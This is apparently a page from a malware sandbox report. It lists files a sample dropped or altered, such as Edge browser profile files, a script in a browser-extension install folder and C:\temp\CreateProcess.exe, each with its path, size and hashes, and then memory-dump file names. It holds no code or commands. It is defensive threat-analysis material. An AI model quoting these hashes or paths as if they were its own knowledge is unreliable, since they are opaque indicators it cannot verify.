SSDEEP 96:KRjsJ9rhhdW1aQgldK4cgLdczLiVhmHhevL5bfrWvsagzrK4Sg9rchJEXw1S5lDI:CjsJ9rhhY1ahl3cgLyzLiVhmHhevL5bk
TLSH
T1A2918600707A42503DBF7A1D89E4981E968279723509A46B7BA801E30FEAF125EFDDD9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

19ae401d-1033-4edc-9638-8491f4d0bb5a.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\19ae401d-1033-4edc-9638-8491f4d0bb5a.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 21478a872e9d63bca56f5d2c7b6361fb8f9e309f5b6a397d35e55c933798c42d
MD5 8e0411d4250e180ee9a27d8a403440ab
SHA1 962511296a1f5ffbd4f5fdb5d6008def6d6f5181
SHA512 59f31af3f121c4a6ad6d3c09b2686219a8138e99069f1473037e524786983ef4a04bfeaff7a5f8139b079b1c8479c15a05bdf6c0f98343014cddae96012a9a74
SSDEEP 768:crv+4UNbdD3mOOCDTd+ZsnUZNeX6+qTko0u229a4vsTZXM:cbsbt3iWUZcvVTVKa4EXM
TLSH
T16903BF32F8259D3349F6C684725B36836F7921B3C9C40B54E9EDAB4D014B2AD2B0F927
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 37e64fffd997573a166f82a098de2f359787bdfa42c63c767b2998e21f513f63
MD5 8ebcbbbf4816b653b91f6974963d0406
SHA1 e07b8165d0b2b30b4eecb6c59d9b2c84dccba977
SHA512 b7b9b4c841bd90a37baf52aab7d207b3370c7df664642e7b2761c6d6bb4a9d4c13be1843ee2c3ad96f1c2c796750b4fabbeadb03370b4cce8eba6020e6378662
SSDEEP 768:prv+4UNbdG3ZvAYDTd+ZsnUGeX6+qTko0u229a4vsDReVH1SdW:pbsbU3ZMWU1vVTVKa4UEH1h
TLSH
T15703CF33E8658A774DE6D7C4714B35473EB91163C6880B90D9ED6F0D029B5AC270BD2B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 32KB
SHA256 bad4a9f6bdd2d0df7883a0186680b2792f5c6451322894cd3c840b4a3810cda2
MD5 0a7e43206bb781c319ca1936f8823fb4
SHA1 90ab70291d2c75e76cb2df33dd941606a9269125
SHA512 05d0d8112865c68db2656affe63b80f9d2dc5d5670c02170e6341531d632fbfe60a87d734cc84ee2aebea46d3d98e7cc86d0f009268d84a89ebd707a82efa322
SSDEEP 768:sg3gOECDTd+ZsnUZNeX6+qTko0u229a4vsTZX3:sg3uWUZcvVTVKa4EX3
TLSH
T120E2AE71F8729D3348EAD784725B36435EB92173D9C81B54E9EDAB0D004766C2B0F82B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 41KB
SHA256 23945838df6d2d35d93ed5ef21dbb57e1f559035e72d8b39545099a44072f2a1
MD5 63f38e689dbd3d8dcfcf41be041e41b3
SHA1 8b11a06731507e99e4177c6393053bc213cf8f7e
SHA512 4e89af79d9c3a46562adfa3272fcf48f750441efeca4552f5f548a7e429d4d78d54f5b1aeac6fd2607c27dec96d86990fd716d5714c862040a1c0d64c2fea6bf
SSDEEP 768:2FQ63twgiOEdnZsnUZfeX6+qTko0u229a4vsTZX3:963qWUZevVTVKa4EX3
TLSH
T166134AF298E38937D8AE8783633D2D429DBDD063B5885994B7D86D0CCC461BFC70A816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 aa807e4f1b970e487ba89b4ed9f5455dfb3acaffb192b8736b7bd0ccf63b8cf5
MD5 880fe67d2d8def8a73d1f09d09f8f2ff
SHA1 adad7fdd0652919461f89bfe36b449081489052b
SHA512 dec205f202a88afbf96f8015158638483f643ad02a9549b9eaef405a32a1ef2b2cf9c9480d70ccb43ef9ce64818827c6fe3cd27267f657cc33cb6ace9619d87a
TLSH
T18CD02B80043D0A82CFA50A5EE41749F810C44918759C197804CDA4D5501A067315881D
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\metadata.json
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir3332_1430796780\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CreateProcess.exe

Path C:\temp\CreateProcess.exe
Size 3KB
SHA256 c655e2ac61448deac600c22b64ebf5c05cd343d49d696c6d1ae2c8a7ae9641ad
MD5 1aafaa8c85fc83c6763c77893469a5d2
SHA1 20e5e5d9e7619dbb672e193b4e7ffbf56608005a
SHA512 caad75c8b25239fee446c29f68fe293c1b86319431fe98d3693c0157b267c646b96ad1044a441070e5f8bbab48a6a878e69ef34988de04270f22fd7b9e193f07
TLSH
T11771238356B9D9B3C5DA5FF002835248F1FB233C072330214B555546AB30A7A18B8F04
MD5 SHA1 SHA512 TLSH

Submit Download

memory/124-264-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1380-317-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1380-323-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1644-278-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1680-189-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1744-445-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2100-434-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2464-392-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3132-236-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3428-465-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3528-66-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3752-429-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4444-341-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4604-299-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4636-321-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4844-337-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5040-420-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5516-378-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5612-400-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5744-424-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5956-379-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5956-366-0x0000000000010000-0x00000000000AB000-memory.dmp

Download